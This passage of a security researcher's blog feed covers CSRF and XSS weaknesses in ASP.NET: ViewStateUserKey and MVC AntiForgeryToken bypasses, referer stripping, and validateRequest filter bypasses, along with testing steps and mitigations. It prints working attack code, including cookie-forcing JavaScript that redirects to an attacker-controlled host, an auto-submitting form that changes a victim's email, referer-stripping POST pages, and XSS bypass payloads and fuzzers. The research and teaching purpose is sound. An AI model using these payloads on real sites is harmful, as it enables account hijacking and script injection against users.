<blockquote><p>ViewState can be used as a CSRF defense, as it is difficult for an attacker to forge a valid ViewState. It is not impossible to forge a valid ViewState since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each ViewState unique, and thus immune to CSRF.<br />
To use the ViewStateUserKey property within the ViewState to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)<br />
     if (User.Identity.IsAuthenticated)<br />
        ViewStateUserKey = Session.SessionID; }</p></blockquote>
<p>Unfortunately, this recommendation doesn’t always work for similar reasons to <a href="http://webstersprodigy.net/2013/02/14/mvc-antiforgery/" title=".NET MVC AntiforgeryToken CSRF Testing">MVC</a>. To clarify what the sessionID is: it is just a cookie, and it’s a cookie that isn’t always used for authentication. As already mentioned, most large scale sites tend to use custom authentication. Microsoft sites tend to use LiveID much more frequently than simple forms based auth. As should be obvious from the previous posts, if the sessionID isn’t used for authentication then this cookie can simply be overwritten by using an attacker cookie and an attacker ViewState. This attack is most useful with lateral escalation, meaning with one account on an application, you can CSRF other users of the application. </p>
<p>This is a super common problem in my experience. To illustrate this for Blackhat I wrote a sample app that&#8217;s not worth showing. It sets the ViewStateUserKey to the sessionID and uses ACS for authentication similar to how <a href="http://msdn.microsoft.com/en-us/library/gg429779.aspx">this tutorial</a> describes (the only difference is this app uses Forms rather than MVC).</p>
<p>This pic shows the cookies sent immmediately after authenticating with ACS. Although ASP.NET_SessionId is automatically set, it has nothing to do with the authentication of the web application.</p>
<p><a href="http://webstersprodigy.net/2013/03/21/common-net-viewstateuserkey-csrf-issue/cookie/" rel="attachment wp-att-2138"><img src="http://webstersprodigy.files.wordpress.com/2013/03/cookie.png?w=630&#038;h=259" alt="cookie" width="630" height="259" class="alignnone size-full wp-image-2138" /></a></p>
<p>To understand how this attack works, perform the following steps on an ASP.net forms based application using ACS for auth.</p>
<ol>
<li>Create two users, user_victim and user_attacker where VIEWSTATE is used as a CSRF mitigation and ViewStateUserKey = SessionID.</li>
<li>As user_attacker, capture the POST values. This will include several ASP.NET specific VIEWSTATE fields which are used to prevent CSRF. Also, capture the ASP.NET_SessionId cookie.</li>
<li>As user_victim, replace the POST values with the values captured in request 2.  This request will fail with a 500 (Validation of viewstate MAC failed), because ViewStateUserKey = SessionId. Otherwise, this could be used to exploit classic CSRF.</li>
<li>However, if we cause the application to consume user_attacker’s ASP.NET_SessionId cookie rather than user_victim’s cookie, the request will go through.</li>
</ol>
<p>In terms of exploitability, this is again equivalent to naïve double submit. An attacker needs the ability to write cookies (e.g. find XSS in a neighboring sub domain or be in the middle), but in many cases this is exploitable.</p>
<p>There are several ways to mitigate this. The most straightforward is to, after authentication, set the ViewStateUserKey to the cookies actually used to tie the user to a session. In the example above, ViewStateUserKey could be set to the FedAuth cookie. Unfortunately, this type of thing can be difficult to tie into the framework or detect with static analysis tools because these things have no way of knowing how exactly custom authentication works.</p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2133&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/03/21/common-net-viewstateuserkey-csrf-issue/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/03/cookie.png" medium="image">
			<media:title type="html">cookie</media:title>
		</media:content>
	</item>
		<item>
		<title>.NET MVC AntiforgeryToken CSRF Testing</title>
		<link>http://webstersprodigy.net/2013/02/14/mvc-antiforgery/</link>
		<comments>http://webstersprodigy.net/2013/02/14/mvc-antiforgery/#comments</comments>
		<pubDate>Fri, 15 Feb 2013 07:11:16 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[2013BH]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2113</guid>
		<description><![CDATA[Besides work being busy, I&#8217;m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it&#8217;s more interesting than it sounds. I&#8217;m saving my favorite pieces for the talk, but between now and then I&#8217;ll mention a few tidbits. A while ago, I talked about triple submit and the basics [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2113&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Besides work being busy, I&#8217;m heads down ramping up my <a href="http://www.blackhat.com/eu-13/briefings.html#Lundeen">Blackhat EU</a> talk, which is mostly about CSRF. I promise it&#8217;s more interesting than it sounds. I&#8217;m saving my favorite pieces for the talk, but between now and then I&#8217;ll mention a few tidbits.</p>
<p>A while ago, I talked about triple submit and the basics of how antiforgerytoken <a href="http://webstersprodigy.net/2012/08/03/analysis-of-john-wilanders-triple-submit-cookies/" title="Analysis of John Wilander’s Triple Submit Cookies">here</a>. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:</p>
<pre class="brush: java; title: ; notranslate">
public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}
</pre>
<p>Then ValidateTokens contains the logic that prevents CSRF attacks</p>
<pre class="brush: java; title: ; notranslate">
public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) &amp;&amp; identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith(&quot;http://&quot;, StringComparison.OrdinalIgnoreCase) || b.StartsWith(&quot;https://&quot;, StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) &amp;&amp; !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}
</pre>
<p>To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.</p>
<p>Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.</p>
<p>One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4.  Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like <a href="http://msdn.microsoft.com/en-us/library/gg429786.aspx">ACS</a>. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID. </p>
<p>Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.</p>
<ol>
<li>Login to the application <a href="http://mvc_app.mydomain.com" rel="nofollow">http://mvc_app.mydomain.com</a> with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__</li>
<li>Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.</li>
<li>Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript</li>
<pre class="brush: jscript; title: ; notranslate">
document.cookie = &quot;__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;&quot;;
window.location=&quot;http://evil.webstersprodigy.net/cookies/cookie.html&quot;;
</pre>
<li>Now that the CSRF cookie is set, <a href="http://evil.webstersprodigy.net/cookies/cookie.html" rel="nofollow">http://evil.webstersprodigy.net/cookies/cookie.html</a> does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.</li>
<pre class="brush: jscript; title: ; notranslate">
&lt;html&gt; 
&lt;body&gt; 
&lt;form id=&quot;dynForm&quot; action=&quot;https://mvcapp.mydomain.com/csrfpath/Edit&quot; method=&quot;POST&quot;&gt; 
&lt;input type=&quot;hidden&quot; name=&quot;&#095;&#095;RequestVerificationToken&quot; value=&quot;/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy...&quot; /&gt; 
&lt;input type=&quot;hidden&quot; name=&quot;Profile&#046;FirstName&quot; value=&quot;Bad&quot; /&gt; 
&lt;input type=&quot;hidden&quot; name=&quot;Profile&#046;LastName&quot; value=&quot;Guy&quot; /&gt; 
&lt;input type=&quot;hidden&quot; name=&quot;Profile&#046;Email&quot; value=&quot;evil1337&#064;live&#045;int&#046;com&quot; /&gt; 
&lt;input type=&quot;hidden&quot; name=&quot;saveAndContinueButton&quot; value=&quot;NEXT&quot; /&gt; 
&lt;/form&gt; 
&lt;script type=&quot;text/javascript&quot;&gt; 
alert(&quot;cookies are tossed&quot;); 
document.getElementById(&quot;dynForm&quot;).submit(); 
&lt;/script&gt; 
&lt;/body&gt; 
&lt;/html&gt;

</pre>
</ol>
<p>Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.</p>
<ol>
<li>Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.</li>
<li>Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken</li>
<li>Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.</li>
</ol>
<p>There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.</p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2113&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/02/14/mvc-antiforgery/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Stripping the Referer in a Cross Domain POST request</title>
		<link>http://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/</link>
		<comments>http://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/#comments</comments>
		<pubDate>Fri, 01 Feb 2013 20:19:03 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[2013BH]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2080</guid>
		<description><![CDATA[I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2080&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :) </p>
<h3>HTTPS -&gt; HTTP (works if the target is HTTP not HTTPS)</h3>
<p>So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.</p>
<p>But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it&#8217;s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn&#8217;t an option.</p>
<h3>data: URIs (works in FF and Chrome)</h3>
<p>Koto thought of this generic idea, and he uses the data: protocol in <a href="http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html">this excellent post</a>. This works great, as long as you&#8217;re not attacking IE, which doesn&#8217;t seem to support the data: protocol.</p>
<pre class="brush: plain; title: ; notranslate">
&lt;html&gt;
  &lt;body&gt;
   &lt;script type=&quot;text/javascript&quot;&gt;
  function post_without_referer() {
    // POST request, WebKit &amp; Firefox. Data, meta &amp; form submit trinity
   location = 'data:text/html,&lt;html&gt;&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0; url=data:text/html,' +
              '&lt;form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'&gt;' +
              '&lt;input type=hidden name=email value=example@live.com /&gt;' +
              '&lt;input type=hidden name=pass value=password /&gt;' +
              '&lt;input type=hidden name=locale value=en_US /&gt;' +
              '&lt;/form&gt;&lt;script&gt;document.getElementById(\'dynForm\').submit()&lt;/scri'+'pt&gt;&quot;&gt;&lt;/html&gt;';
}

   &lt;/script&gt;

  &lt;a href=&quot;#&quot; onclick=&quot;post_without_referer()&quot;&gt;POST without referer (FF,chrome)&lt;/a&gt;
  &lt;/body&gt;
&lt;/html&gt;
</pre>
<p>He also includes an IE thing, but that will only work with GET requests.</p>
<h3>CORS (doesn&#8217;t work afaik)</h3>
<p>According to the spec at <a href="http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag">http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag</a>  </p>
<blockquote><p>
referer source<br />
If the anonymous flag is set, the URL &#8220;about:blank&#8221;, and the referrer source otherwise.<br />
&#8230;<br />
The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.
</p></blockquote>
<p>In FF this is called the MozAnon flag. Unfortunately, all the browsers I&#8217;ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal &#8211; the response (e.g. set cookies) would not be processed because the server wouldn&#8217;t send back the proper origin stuff. Additionally, if the anon flag works, the browser won&#8217;t send cookies either (this part of the anon flag does work).</p>
<h3>about:blank (works in everything)</h3>
<p>Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it&#8217;s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn&#8217;t have a domain per se, it doesn&#8217;t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)</p>
<p>Note you have to modify slightly because wordpress snipped out my iframe in tags.</p>
<pre class="brush: plain; title: ; notranslate">
&lt;html&gt;
&lt;head&gt;
&lt;script&gt;
function load() {
    var postdata = '&lt;form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'&gt;' +
                    '&lt;input type=hidden name=email value=example@live.com /&gt;' +
                    '&lt;input type=hidden name=pass value=password /&gt;' +
                    '&lt;input type=hidden name=locale value=en_US /&gt;' +
                    '&lt;/form&gt;';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('dynForm').submit();
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload=&quot;load()&quot;&gt;

&lt; iframe src=&quot;about:blank&quot; id=&quot;noreferer&quot;&gt;&lt; /iframe&gt;


&lt;/body&gt;
&lt;/html&gt;


</pre>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2080&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>ValidateRequest should probably still be Enabled</title>
		<link>http://webstersprodigy.net/2013/01/04/validaterequest-should-probably-still-be-enabled/</link>
		<comments>http://webstersprodigy.net/2013/01/04/validaterequest-should-probably-still-be-enabled/#comments</comments>
		<pubDate>Sat, 05 Jan 2013 00:17:23 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Web Hacking]]></category>
		<category><![CDATA[.net]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[validaterequest]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=2025</guid>
		<description><![CDATA[I noticed this post on reddit a couple weeks back, and it&#8217;s called &#8220;new .net xss bypass&#8221;. I look at .net apps more than anything else right now as part of my day job, so this new bypass is something I was already aware of. There are quite a few comments I think are a [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2025&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I noticed <a href="http://www.reddit.com/r/netsec/comments/156ni0/new_net_xss_bypass/">this post on reddit</a> a couple weeks back, and it&#8217;s called &#8220;new .net xss bypass&#8221;. I look at .net apps more than anything else right now as part of my day job, so this new bypass is something I was already aware of. There are quite a few comments I think are a bit off, and the article calls this a &#8220;vulnerability&#8221;. This is an interesting subject, and like a lot of things, people say things that can be misleading or not tell the entire story&#8230;</p>
<h3>What is validateRequest?</h3>
<p>validateRequest kind of works like a WAF, and it&#8217;s main purpose is to mitigate reflected XSS. It&#8217;s enabled by default, and you can see it in action on most .NET websites. For example, check out <a href="http://windows.microsoft.com/en-US/windows/home" rel="nofollow">http://windows.microsoft.com/en-US/windows/home</a>. If you send it <a href="http://windows.microsoft.com/en-US/windows/home?myparam=aaa">http://windows.microsoft.com/en-US/windows/home?myparam=aaa</a> or <a href="http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3c">http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3c</a> it&#8217;s fine, but then if you send it <a href="http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3ca">http://windows.microsoft.com/en-US/windows/home?myparam=aaa%3ca</a> it gives an error (note the only difference between the last two is &lt; vs &lt;a). What&#039;s going on here?</p>
<p>Well, on the server, the stack trace probably looks something like this (this is what it looks like in my test application).</p>
<pre class="brush: plain; title: ; notranslate">
[HttpRequestValidationException (0x80004005): A potentially dangerous Request.QueryString value was detected from the client (test=&quot;&lt;a&quot;).]
   System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection) +9665149
   System.Web.&lt;&gt;c__DisplayClass5.&lt;ValidateHttpValueCollection&gt;b__3(String key, String value) +18
   System.Web.HttpValueCollection.EnsureKeyValidated(String key) +9664565
   System.Web.HttpValueCollection.GetValues(Int32 index) +29
   System.Web.HttpValueCollection.ToString(Boolean urlencoded, IDictionary excludeKeys) +206
   System.Web.UI.Page.get_ClientQueryString() +411
   System.Web.UI.HtmlControls.HtmlForm.GetActionAttribute() +259
   System.Web.UI.HtmlControls.HtmlForm.RenderAttributes(HtmlTextWriter writer) +724
   System.Web.UI.HtmlControls.HtmlControl.RenderBeginTag(HtmlTextWriter writer) +41
   System.Web.UI.HtmlControls.HtmlContainerControl.Render(HtmlTextWriter writer) +20
   System.Web.UI.HtmlControls.HtmlForm.Render(HtmlTextWriter output) +53
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.HtmlControls.HtmlForm.RenderControl(HtmlTextWriter writer) +40
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +128
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +8
   System.Web.UI.Control.Render(HtmlTextWriter writer) +10
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
   System.Web.UI.Control.RenderChildrenInternal(HtmlTextWriter writer, ICollection children) +128
   System.Web.UI.Control.RenderChildren(HtmlTextWriter writer) +8
   System.Web.UI.Page.Render(HtmlTextWriter writer) +29
   System.Web.UI.Control.RenderControlInternal(HtmlTextWriter writer, ControlAdapter adapter) +57
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer, ControlAdapter adapter) +100
   System.Web.UI.Control.RenderControl(HtmlTextWriter writer) +25
   System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +6704
   System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +245
   System.Web.UI.Page.ProcessRequest() +72
   System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +21
   System.Web.UI.Page.ProcessRequest(HttpContext context) +58
</pre>
<p>Tracing down the line from the validateString method, eventually it calls this for all values (not keys).</p>
<pre class="brush: java; title: ; notranslate">
// System.Web.CrossSiteScriptingValidation
internal static bool IsDangerousString(string s, out int matchIndex)
{
	matchIndex = 0;
	int startIndex = 0;
	while (true)
	{
		int num = s.IndexOfAny(CrossSiteScriptingValidation.startingChars, startIndex);
		if (num &lt; 0)
		{
			break;
		}
		if (num == s.Length - 1)
		{
			return false;
		}
		matchIndex = num;
		char c = s[num];
		if (c != &#039;&amp;&#039;)
		{
			if (c == &#039;&lt;&#039; &amp;&amp; (CrossSiteScriptingValidation.IsAtoZ(s[num + 1]) || s[num + 1] == &#039;!&#039; || s[num + 1] == &#039;/&#039; || s[num + 1] == &#039;?&#039;))
			{
				return true;
			}
		}
		else
		{
			if (s[num + 1] == &#039;#&#039;)
			{
				return true;
			}
		}
		startIndex = num + 1;
	}
	return false;
}

</pre>
<h3>Obvious Edge Cases</h3>
<p>So clearly, validateRequest makes no attempt to stop most DOM XSS, and there&#8217;s no attempt at all with stored XSS. It&#8217;s also clearly limited in preventing reflected XSS too. There&#8217;s no attempt at detecting encoding, so there&#8217;s kind of an assumption that the encoding is UTF-8. Not to mention if there&#8217;s an xss in the whole query string, in which case you could just put it in the keys. Not to mention if there&#8217;s user input being reflected in the context of an attribute, validateRequest does not stop it. For example:</p>
<pre class="brush: plain; title: ; notranslate">
&lt;img src=&quot;&quot; title=&quot;USERINPUT&quot;&gt;
</pre>
<p>In this context, validateRequest doesn&#8217;t stop reflected XSS. It does, however, try to stop at least this case:</p>
<pre class="brush: plain; title: ; notranslate">
&lt;html&gt;&lt;body&gt;
USERINPUT
&lt;/body&gt;&lt;/html&gt;
</pre>
<p>If you can get script to execute in this context with UTF-8 encoding, you&#8217;ve bypassed something validateRequest was meant to prevent.</p>
<h3>The bypass I saw on reddit</h3>
<p>The bypass looks like this:</p>
<pre class="brush: plain; title: ; notranslate">
‹%tag style=&quot;xss:expression(alert(123))&quot; ›
</pre>
<p>This can make it through validateRequest&#8217;s filter because the &lt; is not followed by a bad char (% is fine). The tags execute in IE9 in compatibility mode in the context above (it doesn&#8217;t seem to execute in IE 8- or IE 10). </p>
<p>There are some limitations in this attack though. First, remember we&#8217;re talking about just IE9. Second is the fact that by default IE9&#8242;s xss filter is turned on, and IE 9&#039;s xss filter will prevent the above from executing. There might be a generic way to bypass both validateRequest and IE9&#8242;s xss filter, but I am not aware of it. </p>
<p><a href="http://webstersprodigy.net/2013/01/04/validaterequest-should-probably-still-be-enabled/ie_filter/" rel="attachment wp-att-2065"><img src="http://webstersprodigy.files.wordpress.com/2013/01/ie_filter.png?w=630&#038;h=531" alt="IE_filter" width="630" height="531" class="alignnone size-full wp-image-2065" /></a></p>
<h3>Things I&#8217;ve Tried</h3>
<p>In the past, I&#8217;ve tried a few bypasses of validateRequest myself. </p>
<p><strong>Unit Test with single separators</strong></p>
<p>I&#8217;ve tried the following test cases. This does catch the &lt;% bypass with IE9 in compatability mode, but nothing else fires. One thing that I thought was a bypass at first was %00, but validaterequest does actually catch that.</p>
<pre class="brush: python; title: ; notranslate">
def bad_char(m):
    if (m == &quot;&lt;&quot; or m== &quot;!&quot; or m == &quot;?&quot; or m == &quot;/&quot; or (ord(m) &gt;= 0x41 and ord(m) &lt;= 0x5a) or
        (ord(m) &gt;= 0x61 and ord(m) &lt;= 0x7a)):
        return False
    return True

def singlechars_img(f):
    for i in range(1,256):
        if not bad_char(chr(i)):
            continue
        f.write(&quot;&lt;&quot; + chr(i) + &quot;img src=&#039;&#039; onerror=alert(&quot; + hex(i) + &quot;) /&gt; &lt;br /&gt;\n&quot;)

def singlechars_style(f):
    for i in range(1,256):
        if not bad_char(chr(i)):
            continue
        f.write(&quot;&lt;&quot; + chr(i) + &quot;tag style=\&quot;xss:expression(open(alert(&quot; + str(i) + &quot;)))\&quot; &gt; &lt;br /&gt;\n&quot;)

</pre>
<p><strong>Trying to be clever (overlong UTF-8, etc)</strong></p>
<p>One thing I tried was to backspace one of the tags with the ascii value 0&#215;08: &lt;&lt;0x08script&gt;. This doesn&#8217;t execute in any browser tried</p>
<p>I tried the shift JIS prefix code %e0 which should consume the next character as part of a multibyte literal. The idea is that if validaterequest tries to decode any data, it may consume an extra %3c, whereas some browsers (like chrome) do not consume an extra %3c and there would be a mismatch. But validaterequest is much simpler, and just iterates over all the bytes like we can see from the reflected snipped above.</p>
<p>I also tried several overlong UTF-8 combinations, but these don&#8217;t execute with content-type UTF-8</p>
<pre class="brush: python; title: ; notranslate">
#overlong UTF-8
def overlong(f):
    #attempt to delete a &lt;
    f.write(&quot;&lt;&lt;\x08script&gt;alert(1)&lt;/script&gt;&quot;)
    #some overlong UTF
    f.write(&quot;&lt;\xFC\x80\x80\x80\x81\xA9\xFC\x80\x80\x80\x81\xAD\xFC\x80\x80\x80\x81\xA7 src='' onerror=alert(2) /&gt;&quot;)
    f.write(&quot;&lt;\xFC\x80\x80\x80\x81\xA9mg src='' onerror=alert(2) /&gt;&quot;)
    f.write(&quot;\xC1\xA9mg src='' onerror=alert(3) /&gt;&quot;)
    f.write(&quot;\xF8\x80\x80\x81\xA9mg src='' onerror=alert(3) /&gt;&quot;)
</pre>
<h3>Conclusions</h3>
<p>The ‹%tag style=&#8221;xss:expression(alert(123))&#8221; › validaterequest bypass is interesting and something to keep in the back of your pentesting pocket, but if you&#8217;re on defense don&#8217;t panic. I don&#8217;t think this really breaks validaterequest in a meaningful way. Pulling numbers out of my ass, I would say that if 30% of xss were prevented by validaterequest without this, then maybe this knocks the successfully prevented attacks down like a percent or two, to 28% (exploitable against users who use IE9 and have disabled the xss filter (or where you can get around the xss filter)). validaterequest does have it&#8217;s problems, and there have been generic bypasses in the past, but I think it&#8217;s still worthwhile to enable. </p>
<br />  <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=2025&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2013/01/04/validaterequest-should-probably-still-be-enabled/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=http%3A%2F%2F2.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>

		<media:content url="http://webstersprodigy.files.wordpress.com/2013/01/ie_filter.png" medium="image">
			<media:title type="html">IE_filter</media:title>
		</media:content>
	</item>
		<item>
